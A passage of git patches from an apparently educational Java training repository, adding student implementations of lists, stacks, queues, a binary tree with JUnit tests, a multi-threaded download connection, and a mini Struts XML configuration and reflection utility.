+		if (httpURLConnection.getResponseCode() == 206) {
+			InputStream inputStream = httpURLConnection.getInputStream();
+			byteArray = new byte[endPos - startPos + 1];
+			while ((length = inputStream.read(byteArray)) != -1) {
+				
+			}
+			inputStream.close();
+		}
+		close();
+		return byteArray;
 	}
 
 	@Override
 	public int getContentLength() {
-		
-		return 0;
+		return httpURLConnection.getContentLength();
 	}
 
 	@Override
 	public void close() {
-		
-		
+		httpURLConnection.disconnect();
 	}
 
 }
\ No newline at end of file
diff --git a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
index d8bd4c5a34..77fc547e6e 100644
--- a/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
+++ b/group23/381519422/download/src/main/java/com/xiaol/download/impl/ConnectionManagerImpl.java
@@ -1,4 +1,5 @@
 package com.xiaol.download.impl;
+
 import com.xiaol.download.api.Connection;
 import com.xiaol.download.api.ConnectionException;
 import com.xiaol.download.api.ConnectionManager;
@@ -7,8 +8,8 @@ public class ConnectionManagerImpl implements ConnectionManager {
 
 	@Override
 	public Connection open(String url) throws ConnectionException {
-		
-		return null;
+		Connection connection = new ConnectionImpl(url);
+		return connection;
 	}
 
 }
\ No newline at end of file

From 417bb58e661739375912f3e1ebfa236e14b3d0d4 Mon Sep 17 00:00:00 2001
From: "[skycobo]" <[1323434545@qq.com]>
Date: Fri, 31 Mar 2017 11:11:03 +0800
Subject: [PATCH 033/262] =?UTF-8?q?[=E8=8F=A0=E8=90=9DC]:=E8=A1=A5?=
 =?UTF-8?q?=E4=BA=A4=E7=AC=AC=E4=B8=80=E6=AC=A1=E4=BD=9C=E4=B8=9A!?=
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit

---
 .../big_work/01_temp/src/main/Test.java       |   5 +
 .../big_work/02_temp/src/main/Test.java       |   5 +
 .../01_DataStructure/src/main/ArrayList.java  |  82 +++++++++++
 .../src/main/BinaryTreeNode.java              |  65 +++++++++
 .../01_DataStructure/src/main/Iterator.java   |   6 +
 .../01_DataStructure/src/main/LinkedList.java | 114 +++++++++++++++
 .../01_DataStructure/src/main/List.java       |   9 ++
 .../01_DataStructure/src/main/Queue.java      |  22 +++
 .../01_DataStructure/src/main/Stack.java      |  25 ++++
 .../src/test/ArrayListTest.java               | 133 ++++++++++++++++++
 .../src/test/BinaryTreeNodeTest.java          |  25 ++++
 .../src/test/LinkedListTest.java              | 126 +++++++++++++++++
 .../01_DataStructure/src/test/QueueTest.java  |  50 +++++++
 .../01_DataStructure/src/test/StackTest.java  |  67 +++++++++
 .../01_DataStructure/src/utils/ListUtils.java |  11 ++
 .../ordinary_work/02_temp/src/main/Test.java  |   5 +
 16 files changed, 750 insertions(+)
 create mode 100644 group23/1323434545/big_work/01_temp/src/main/Test.java
 create mode 100644 group23/1323434545/big_work/02_temp/src/main/Test.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/main/BinaryTreeNode.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/main/Iterator.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/main/LinkedList.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/main/List.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/main/Queue.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/main/Stack.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/test/BinaryTreeNodeTest.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/test/LinkedListTest.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/test/QueueTest.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/test/StackTest.java
 create mode 100644 group23/1323434545/ordinary_work/01_DataStructure/src/utils/ListUtils.java
 create mode 100644 group23/1323434545/ordinary_work/02_temp/src/main/Test.java

diff --git a/group23/1323434545/big_work/01_temp/src/main/Test.java b/group23/1323434545/big_work/01_temp/src/main/Test.java
new file mode 100644
index 0000000000..e4585146a0
--- /dev/null
+++ b/group23/1323434545/big_work/01_temp/src/main/Test.java
@@ -0,0 +1,5 @@
+package main;
+
+public class Test {
+
+}
diff --git a/group23/1323434545/big_work/02_temp/src/main/Test.java b/group23/1323434545/big_work/02_temp/src/main/Test.java
new file mode 100644
index 0000000000..e4585146a0
--- /dev/null
+++ b/group23/1323434545/big_work/02_temp/src/main/Test.java
@@ -0,0 +1,5 @@
+package main;
+
+public class Test {
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java b/group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java
new file mode 100644
index 0000000000..14548a000e
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/main/ArrayList.java
@@ -0,0 +1,82 @@
+package main;
+
+import java.util.Arrays;
+
+import utils.ListUtils;
+
+public class ArrayList implements List {
+	private Object[] elementData = new Object[10];
+	private int size;
+
+	@Override
+	public void add(Object o) {
+		add(size, o);
+
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		//检查是否越界
+		ListUtils.CheckIndexInRange(0, size, index);
+		if (size == elementData.length) {
+			elementData = Arrays.copyOf(elementData, elementData.length + 10);
+		}
+		if (index < size) {
+			for (int i = size; i > index; i--) {
+				elementData[i] = elementData[i - 1];
+			}
+		}
+		elementData[index] = o;
+		size++;
+	}
+
+	@Override
+	public Object remove(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Object tag = elementData[index];
+		for (int i = index; i < size - 1; i++) {
+			elementData[i] = elementData[i + 1];
+		}
+		elementData[size - 1] = null;
+		size--;
+		return tag;
+
+	}
+
+	@Override
+	public Object get(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		return elementData[index];
+
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+
+	public Iterator iterator() {
+		return new Iterator() {
+			private int cursor;
+
+			@Override
+			public boolean hasNext() {
+				if (size > 0) {
+					return cursor < size;
+				} else {
+					return false;
+				}
+
+			}
+
+			@Override
+			public Object next() {
+				Object tag = get(cursor);
+				cursor++;
+				return tag;
+			}
+		};
+
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/BinaryTreeNode.java b/group23/1323434545/ordinary_work/01_DataStructure/src/main/BinaryTreeNode.java
new file mode 100644
index 0000000000..3192984cdc
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/main/BinaryTreeNode.java
@@ -0,0 +1,65 @@
+package main;
+
+public class BinaryTreeNode {
+	@SuppressWarnings("rawtypes")
+	private Comparable data;
+	private BinaryTreeNode left;
+	private BinaryTreeNode right;
+
+	@SuppressWarnings("rawtypes")
+	public BinaryTreeNode(Comparable data, BinaryTreeNode left, BinaryTreeNode right) {
+		this.data = data;
+		this.left = left;
+		this.right = right;
+	}
+
+	@SuppressWarnings({ "rawtypes", "unchecked" })
+	public BinaryTreeNode insert(Comparable o) {
+		int result = o.compareTo(data);
+		if (0 == result) {
+			return this;
+		} else if (0 < result) {
+			if (null == this.right) {
+				BinaryTreeNode node = new BinaryTreeNode(o, null, null);
+				this.right = node;
+				return node;
+			}
+			return this.right.insert(o);
+		} else {
+			if (null == this.left) {
+				BinaryTreeNode node = new BinaryTreeNode(o, null, null);
+				this.left = node;
+				return node;
+			}
+			return this.left.insert(o);
+		}
+
+	}
+
+	@SuppressWarnings("rawtypes")
+	public Comparable getData() {
+		return data;
+	}
+
+	@SuppressWarnings("rawtypes")
+	public void setData(Comparable data) {
+		this.data = data;
+	}
+
+	public BinaryTreeNode getLeft() {
+		return left;
+	}
+
+	public void setLeft(BinaryTreeNode left) {
+		this.left = left;
+	}
+
+	public BinaryTreeNode getRight() {
+		return right;
+	}
+
+	public void setRight(BinaryTreeNode right) {
+		this.right = right;
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/Iterator.java b/group23/1323434545/ordinary_work/01_DataStructure/src/main/Iterator.java
new file mode 100644
index 0000000000..4a052a8646
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/main/Iterator.java
@@ -0,0 +1,6 @@
+package main;
+
+public interface Iterator {
+	public boolean hasNext();
+	public Object next();
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/LinkedList.java b/group23/1323434545/ordinary_work/01_DataStructure/src/main/LinkedList.java
new file mode 100644
index 0000000000..bc142a6b06
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/main/LinkedList.java
@@ -0,0 +1,114 @@
+package main;
+
+import utils.ListUtils;
+
+public class LinkedList implements List {
+	private Node head;
+	private int size;
+
+	private static class Node {
+		private Object data;
+		private Node next;
+	}
+
+	@Override
+	public void add(Object o) {
+		add(size, o);
+	}
+
+	@Override
+	public void add(int index, Object o) {
+		ListUtils.CheckIndexInRange(0, size, index);
+		if (0==size) {
+			head = new Node();
+			head.data = o;
+			size++;
+			return;
+		}
+		if (0 == index) {
+			Node node = new Node();
+			node.data = o;
+			node.next = head;
+			head = node;
+			size++;
+			return;
+		}
+		if (index == size) {
+			Node node = head;
+			while (null != node.next) {
+				node = node.next;
+			}
+			Node addNode = new Node();
+			addNode.data = o;
+			node.next = addNode;
+			size++;
+			return;
+		}
+		Node node = head;
+		for (int i = 0; i < index - 1; i++) {
+			node = node.next;
+		}
+		Node addNode = new Node();
+		addNode.data = o;
+		addNode.next = node.next;
+		node.next = addNode;
+		size++;
+	}
+
+	@Override
+	public Object remove(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Node node = head;
+		if (0 == index) {
+			head = head.next;
+			size--;
+			return node.data;
+		}
+		for (int i = 0; i < index - 1; i++) {
+			node = node.next;
+		}
+		Node removeNode = node.next;
+		node.next = removeNode.next;
+		size--;
+		return removeNode.data;
+	}
+
+	@Override
+	public Object get(int index) {
+		ListUtils.CheckIndexInRange(0, size - 1, index);
+		Node node = head;
+		for (int i = 0; i < index; i++) {
+			node = node.next;
+		}
+		return node.data;
+	}
+
+	@Override
+	public int size() {
+		return size;
+	}
+
+	public Iterator iterator() {
+		return new Iterator() {
+			private int cursor;
+
+			@Override
+			public boolean hasNext() {
+				if (size > 0) {
+					return cursor < size;
+				} else {
+					return false;
+				}
+
+			}
+
+			@Override
+			public Object next() {
+				Object tag = get(cursor);
+				cursor++;
+				return tag;
+			}
+		};
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/List.java b/group23/1323434545/ordinary_work/01_DataStructure/src/main/List.java
new file mode 100644
index 0000000000..f5825a0ea6
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/main/List.java
@@ -0,0 +1,9 @@
+package main;
+
+public interface List {
+	public void add(Object o);
+	public void add(int index,Object o);
+	public Object remove(int index);
+	public Object get(int index);
+	public int size();
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/Queue.java b/group23/1323434545/ordinary_work/01_DataStructure/src/main/Queue.java
new file mode 100644
index 0000000000..76d80e419c
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/main/Queue.java
@@ -0,0 +1,22 @@
+package main;
+
+public class Queue {
+	private LinkedList list = new LinkedList();
+
+	public void enQueue(Object o) {
+		list.add(o);
+	}
+
+	public Object deQueue() {
+		return list.remove(0);
+	}
+
+	public boolean isEmpty() {
+		return list.size() == 0;
+	}
+
+	public int size() {
+		return list.size();
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/main/Stack.java b/group23/1323434545/ordinary_work/01_DataStructure/src/main/Stack.java
new file mode 100644
index 0000000000..bd489f7a98
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/main/Stack.java
@@ -0,0 +1,25 @@
+package main;
+
+public class Stack {
+	private ArrayList list = new ArrayList();
+
+	public void push(Object o) {
+		list.add(o);
+	}
+
+	public Object pop() {
+		return list.remove(list.size() - 1);
+	}
+
+	public Object peek() {
+		return list.get(list.size() - 1);
+	}
+
+	public boolean isEmpty() {
+		return list.size() == 0;
+	}
+
+	public int size() {
+		return list.size();
+	}
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java b/group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java
new file mode 100644
index 0000000000..ee2ca2afd7
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/test/ArrayListTest.java
@@ -0,0 +1,133 @@
+package test;
+
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+
+import main.ArrayList;
+import main.Iterator;
+
+public class ArrayListTest {
+	ArrayList list;
+
+	@Before
+	public void init() {
+		list = new ArrayList();
+	}
+
+	@Test
+	public void testAddObject() {
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		assertEquals(0, list.get(0));
+		assertEquals(1, list.get(1));
+		assertEquals(2, list.get(2));
+
+	}
+
+	@Test
+	public void testAddIntObject() {
+		list.add("b");
+		list.add("d");
+		list.add("e");
+		list.add(0, "a");
+		list.add(2, "c");
+		list.add(5, "f");
+		assertEquals("a", list.get(0));
+		assertEquals("c", list.get(2));
+		assertEquals("f", list.get(5));
+		try {
+			list.add(-1, "hh");
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.add(7, "xx");
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+	@Test
+	public void testRemove() {
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		assertEquals("d", list.remove(3));
+		assertEquals("a", list.remove(0));
+		assertEquals("c", list.remove(1));
+		try {
+			list.remove(-1);
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.remove(1);
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+	@Test
+	public void testGet() {
+
+		list.add("a");
+		assertEquals("a", list.get(0));
+
+		try {
+			list.get(-1);
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.get(1);
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+	@Test
+	public void testSize() {
+		list.add("a");
+		assertEquals(1, list.size());
+		list.remove(0);
+		assertEquals(0, list.size());
+	}
+
+	@Test
+	public void testIterator() {
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		Iterator i = list.iterator();
+		assertTrue(i.hasNext());
+		assertEquals("a", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("b", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("c", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("d", i.next());
+		assertFalse(i.hasNext());
+
+		try {
+			i.next();
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/BinaryTreeNodeTest.java b/group23/1323434545/ordinary_work/01_DataStructure/src/test/BinaryTreeNodeTest.java
new file mode 100644
index 0000000000..b52f06d70d
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/test/BinaryTreeNodeTest.java
@@ -0,0 +1,25 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Test;
+
+import main.BinaryTreeNode;
+
+public class BinaryTreeNodeTest {
+
+	@Test
+	public void testInsert() {
+		BinaryTreeNode node = new BinaryTreeNode(5, null,null);
+		node.insert(2);
+		node.insert(7);
+		node.insert(7);
+		node.insert(1);
+		node.insert(6);
+		node.insert(4);
+		node.insert(8);
+		assertEquals(8, node.getRight().getRight().getData());
+		assertEquals(4, node.getLeft().getRight().getData());
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/LinkedListTest.java b/group23/1323434545/ordinary_work/01_DataStructure/src/test/LinkedListTest.java
new file mode 100644
index 0000000000..56f6b0bad9
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/test/LinkedListTest.java
@@ -0,0 +1,126 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import main.Iterator;
+import main.LinkedList;
+
+public class LinkedListTest {
+	private LinkedList list;
+	
+	@Before
+	public void init(){
+		list = new LinkedList();
+	}
+
+	@Test
+	public void testAddObject() {
+		list.add(0);
+		list.add(1);
+		list.add(2);
+		assertEquals(0, list.get(0));
+		assertEquals(1, list.get(1));
+		assertEquals(2, list.get(2));
+	}
+
+	@Test
+	public void testAddIntObject() {
+		list.add("b");
+		list.add("d");
+		list.add("e");
+		list.add(0, "a");
+		list.add(2, "c");
+		list.add(5, "f");
+		assertEquals("a", list.get(0));
+		assertEquals("c", list.get(2));
+		assertEquals("f", list.get(5));
+		try {
+			list.add(-1, "hh");
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.add(7, "xx");
+			fail("index should <=size");
+		} catch (Exception e) {}
+	}
+
+	@Test
+	public void testRemove() {
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		assertEquals("d", list.remove(3));
+		assertEquals("a", list.remove(0));
+		assertEquals("c", list.remove(1));
+		try {
+			list.remove(-1);
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.remove(1);
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+
+	}
+
+	@Test
+	public void testGet() {
+
+		list.add("a");
+		assertEquals("a", list.get(0));
+
+		try {
+			list.get(-1);
+			fail("-1 cann't be index");
+		} catch (Exception e) {
+		}
+
+		try {
+			list.get(1);
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+	}
+
+	@Test
+	public void testSize() {
+		list.add("a");
+		assertEquals(1, list.size());
+		list.remove(0);
+		assertEquals(0, list.size());
+	}
+
+	@Test
+	public void testIterator() {
+		list.add("a");
+		list.add("b");
+		list.add("c");
+		list.add("d");
+		Iterator i = list.iterator();
+		assertTrue(i.hasNext());
+		assertEquals("a", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("b", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("c", i.next());
+		assertTrue(i.hasNext());
+		assertEquals("d", i.next());
+		assertFalse(i.hasNext());
+
+		try {
+			i.next();
+			fail("index should <=size");
+		} catch (Exception e) {
+		}
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/QueueTest.java b/group23/1323434545/ordinary_work/01_DataStructure/src/test/QueueTest.java
new file mode 100644
index 0000000000..ca085df0c8
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/test/QueueTest.java
@@ -0,0 +1,50 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import main.Queue;
+
+public class QueueTest {
+	private Queue queue;
+	
+	@Before
+	public void init(){
+		queue = new Queue();
+	}
+
+	@Test
+	public void testEnQueue() {
+	}
+
+	@Test
+	public void testDeQueue() {
+		try{
+			queue.deQueue();
+			fail("empty queue hasn't element");
+		}catch (Exception e) {
+		}
+		queue.enQueue("a");
+		queue.enQueue("b");
+		assertEquals("a", queue.deQueue());
+		assertEquals("b", queue.deQueue());
+	}
+
+	@Test
+	public void testIsEmpty() {
+		assertTrue(queue.isEmpty());
+		queue.enQueue("a");
+		assertFalse(queue.isEmpty());
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(0, queue.size());
+		queue.enQueue("a");
+		queue.enQueue("a");
+		assertEquals(2, queue.size());
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/test/StackTest.java b/group23/1323434545/ordinary_work/01_DataStructure/src/test/StackTest.java
new file mode 100644
index 0000000000..00c3d23a5e
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/test/StackTest.java
@@ -0,0 +1,67 @@
+package test;
+
+import static org.junit.Assert.*;
+
+import org.junit.Before;
+import org.junit.Test;
+
+import main.Stack;
+
+public class StackTest {
+	private Stack stack;
+	
+	@Before
+	public void init(){
+		stack = new Stack();
+	}
+	
+	@Test
+	public void testPush() {
+		stack.push("a");
+		assertEquals("a", stack.peek());
+		stack.push("b");
+		assertEquals("b", stack.peek());
+	}
+
+	@Test
+	public void testPop() {
+		try{
+			stack.pop();
+			fail("empty stack hasn't element");
+		}catch (Exception e) {
+		}
+		stack.push("a");
+		stack.push("b");
+		stack.push("c");
+		assertEquals("c", stack.pop());
+		assertEquals("b", stack.pop());
+		assertEquals("a", stack.pop());
+	}
+
+	@Test
+	public void testPeek() {
+	}
+
+	@Test
+	public void testIsEmpty() {
+		assertTrue(stack.isEmpty());
+		stack.push("a");
+		stack.push("b");
+		assertFalse(stack.isEmpty());
+		stack.pop();
+		assertFalse(stack.isEmpty());
+		stack.pop();
+		assertTrue(stack.isEmpty());
+		
+		
+	}
+
+	@Test
+	public void testSize() {
+		assertEquals(0, stack.size());
+		stack.push("a");
+		stack.push("b");
+		assertEquals(2, stack.size());
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/01_DataStructure/src/utils/ListUtils.java b/group23/1323434545/ordinary_work/01_DataStructure/src/utils/ListUtils.java
new file mode 100644
index 0000000000..82b62d462c
--- /dev/null
+++ b/group23/1323434545/ordinary_work/01_DataStructure/src/utils/ListUtils.java
@@ -0,0 +1,11 @@
+package utils;
+
+public class ListUtils {
+	public static boolean CheckIndexInRange(int start, int end, int index) {
+		if (index >= start && index <= end) {
+			return true;
+		}
+		throw new IndexOutOfBoundsException();
+	}
+
+}
diff --git a/group23/1323434545/ordinary_work/02_temp/src/main/Test.java b/group23/1323434545/ordinary_work/02_temp/src/main/Test.java
new file mode 100644
index 0000000000..e4585146a0
--- /dev/null
+++ b/group23/1323434545/ordinary_work/02_temp/src/main/Test.java
@@ -0,0 +1,5 @@
+package main;
+
+public class Test {
+
+}

From ab0cda6ecd7f316641187a83c69d17177e14fbc3 Mon Sep 17 00:00:00 2001
From: tanghaojie <thj_3360016@qq.com>
Date: Sat, 1 Apr 2017 21:55:10 +0800
Subject: [PATCH 034/262] t

---
 .../src/week2/litestruts/Configuration.java   | 113 ++++++++++++++++++
 .../litestruts/ConfigurationException.java    |  21 ++++
 .../week2/litestruts/ConfigurationTest.java   |  41 +++++++
 .../src/week2/litestruts/LoginAction.java     |   1 -
 .../src/week2/litestruts/ReflectionUtil.java  |  83 +++++++++++++
 .../week2/litestruts/ReflectionUtilTest.java  | 108 +++++++++++++++++
 .../Code/src/week2/litestruts/Struts.java     |  30 ++++-
 .../Code/src/week2/litestruts/StrutsTest.java |   4 -
 .../Code/src/week2/litestruts/struts.xml      |  10 +-
 9 files changed, 397 insertions(+), 14 deletions(-)
 create mode 100644 group12/495473393/Code/src/week2/litestruts/Configuration.java
 create mode 100644 group12/495473393/Code/src/week2/litestruts/ConfigurationException.java
 create mode 100644 group12/495473393/Code/src/week2/litestruts/ConfigurationTest.java
 create mode 100644 group12/495473393/Code/src/week2/litestruts/ReflectionUtil.java
 create mode 100644 group12/495473393/Code/src/week2/litestruts/ReflectionUtilTest.java

diff --git a/group12/495473393/Code/src/week2/litestruts/Configuration.java b/group12/495473393/Code/src/week2/litestruts/Configuration.java
new file mode 100644
index 0000000000..990df538f9
--- /dev/null
+++ b/group12/495473393/Code/src/week2/litestruts/Configuration.java
@@ -0,0 +1,113 @@
+package week2.litestruts;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.HashMap;
+import java.util.Map;
+
+import org.jdom2.Document;
+import org.jdom2.Element;
+import org.jdom2.JDOMException;
+import org.jdom2.input.SAXBuilder;
+
+public class Configuration {
+
+	Map<String,ActionConfig> actions = new HashMap<>();
+	
+	public Configuration(String fileName) {		
+		
+		String packageName = this.getClass().getPackage().getName();
+		
+		packageName = packageName.replace('.', '/');
+		
+		InputStream is = this.getClass().getResourceAsStream("/" + packageName + "/" + fileName);
+		
+		parseXML(is);
+		
+		try {
+			is.close();
+		} catch (IOException e) {			
+			throw new ConfigurationException(e);
+		}
+	}
+	
+	private void parseXML(InputStream is){
+		
+		 SAXBuilder builder = new SAXBuilder();
+		 
+		 try {
+			 
+			Document doc = builder.build(is);
+			
+			Element root = doc.getRootElement();
+			
+			for(Element actionElement : root.getChildren("action")){
+				
+				String actionName = actionElement.getAttributeValue("name");
+				String clzName = actionElement.getAttributeValue("class");
+				
+				ActionConfig ac = new ActionConfig(actionName, clzName);
+				
+				for(Element resultElement : actionElement.getChildren("result")){
+					
+					String resultName = resultElement.getAttributeValue("name");
+					String viewName = resultElement.getText().trim();
+					
+					ac.addViewResult(resultName, viewName);
+					
+				}
+				
+				this.actions.put(actionName, ac);
+			}
+			
+			
+		} catch (JDOMException e) {
+			throw new ConfigurationException(e);
+			
+		} catch (IOException e) {
+			throw new ConfigurationException(e);
+			
+		}
+		 
+		 
+	}
+
+	public String getClassName(String action) {
+		ActionConfig ac = this.actions.get(action);
+		if(ac == null){
+			return null;
+		}
+		return ac.getClassName();
+	}
+
+	public String getResultView(String action, String resultName) {
+		ActionConfig ac = this.actions.get(action);
+		if(ac == null){
+			return null;
+		}
+		return ac.getViewName(resultName);
+	}
+	
+	private static class ActionConfig{
+		
+		String name;
+		String clzName;
+		Map<String,String> viewResult = new HashMap<>();
+		
+		
+		public ActionConfig(String actionName, String clzName) {
+			this.name = actionName;
+			this.clzName = clzName;
+		}
+		public String getClassName(){
+			return clzName;
+		}
+		public void addViewResult(String name, String viewName){
+			viewResult.put(name, viewName);
+		}
+		public String getViewName(String resultName){
+			return viewResult.get(resultName);
+		}
+	}
+
+}
diff --git a/group12/495473393/Code/src/week2/litestruts/ConfigurationException.java b/group12/495473393/Code/src/week2/litestruts/ConfigurationException.java
new file mode 100644
index 0000000000..943454e813
--- /dev/null
+++ b/group12/495473393/Code/src/week2/litestruts/ConfigurationException.java
@@ -0,0 +1,21 @@
+package week2.litestruts;
+
+import java.io.IOException;
+
+import org.jdom2.JDOMException;
+
+public class ConfigurationException extends RuntimeException {
+
+	public ConfigurationException(String msg) {
+		super(msg);
+	}
+
+	public ConfigurationException(JDOMException e) {
+		super(e);
+	}
+
+	public ConfigurationException(IOException e) {
+		super(e);
+	}
+
+}
diff --git a/group12/495473393/Code/src/week2/litestruts/ConfigurationTest.java b/group12/495473393/Code/src/week2/litestruts/ConfigurationTest.java
new file mode 100644
index 0000000000..d07f9945fe
--- /dev/null
+++ b/group12/495473393/Code/src/week2/litestruts/ConfigurationTest.java
@@ -0,0 +1,41 @@
+package week2.litestruts;
+
+import org.junit.After;
+import org.junit.Assert;
+import org.junit.Before;
+import org.junit.Test;
+
+public class ConfigurationTest {
+	Configuration cfg = new Configuration("struts.xml");
+
+	@Before
+	public void setUp() throws Exception {
+	}
+
+	@After
+	public void tearDown() throws Exception {
+	}
+
+	@Test
+	public void testGetClassName() {
+		String clzName = cfg.getClassName("login");
+		Assert.assertEquals("com.coderising.litestruts.LoginAction", clzName);
+		clzName = cfg.getClassName("logout");
+		Assert.assertEquals("com.coderising.litestruts.LogoutAction", clzName);
+	}
+
+	@Test
+	public void testGetResultView() {
+		String jsp = cfg.getResultView("login", "success");
+		Assert.assertEquals("/jsp/homepage.jsp", jsp);
+
+		jsp = cfg.getResultView("login", "fail");
+		Assert.assertEquals("/jsp/showLogin.jsp", jsp);
+
+		jsp = cfg.getResultView("logout", "success");
+		Assert.assertEquals("/jsp/welcome.jsp", jsp);
+
+		jsp = cfg.getResultView("logout", "error");
+		Assert.assertEquals("/jsp/error.jsp", jsp);
+	}
+}
diff --git a/group12/495473393/Code/src/week2/litestruts/LoginAction.java b/group12/495473393/Code/src/week2/litestruts/LoginAction.java
index d8daf1c835..b4e7662119 100644
--- a/group12/495473393/Code/src/week2/litestruts/LoginAction.java
+++ b/group12/495473393/Code/src/week2/litestruts/LoginAction.java
@@ -2,7 +2,6 @@
 
 /**
  * 这是一个用来展示登录的业务类， 其中的用户名和密码都是硬编码的。
- * @author liuxin
  *
  */
 public class LoginAction{
diff --git a/group12/495473393/Code/src/week2/litestruts/ReflectionUtil.java b/group12/495473393/Code/src/week2/litestruts/ReflectionUtil.java
new file mode 100644
index 0000000000..917edfb1f9
--- /dev/null
+++ b/group12/495473393/Code/src/week2/litestruts/ReflectionUtil.java
@@ -0,0 +1,83 @@
+package week2.litestruts;
+
+import java.lang.reflect.InvocationTargetException;
+import java.lang.reflect.Method;
+import java.util.ArrayList;
+import java.util.HashMap;
+import java.util.List;
+import java.util.Map;
+
+public class ReflectionUtil {
+
+	public static List<Method> getSetterMethods(Class clz) {
+		return getMethods(clz, "set");
+	}
+
+	public static void setParameters(Object o, Map<String, String> params) {
+		List<Method> methods = getSetterMethods(o.getClass());
+		for (String name : params.keySet()) {
+			String methodName = "set" + name;
+			for (Method m : methods) {
+				if (m.getName().equalsIgnoreCase(methodName)) {
+					try {
+						m.invoke(o, params.get(name));
+					} catch (IllegalAccessException | IllegalArgumentException | InvocationTargetException e) {
+						e.printStackTrace();
+					}
+				}
+			}
+		}
+	}
+
+	public static List<Method> getGetterMethods(Class<?> clz) {
+		return getMethods(clz, "get");
+	}
+
+	private static List<Method> getMethods(Class<?> clz, String startWithName) {
+		List<Method> methods = new ArrayList<>();
+		for (Method m : clz.getDeclaredMethods()) {
+			if (m.getName().startsWith(startWithName)) {
+				methods.add(m);
+			}
+		}
+		return methods;
+	}
+
+	public static Map<String, Object> getParamterMap(Object o) {
+		Map<String, Object> params = new HashMap<>();
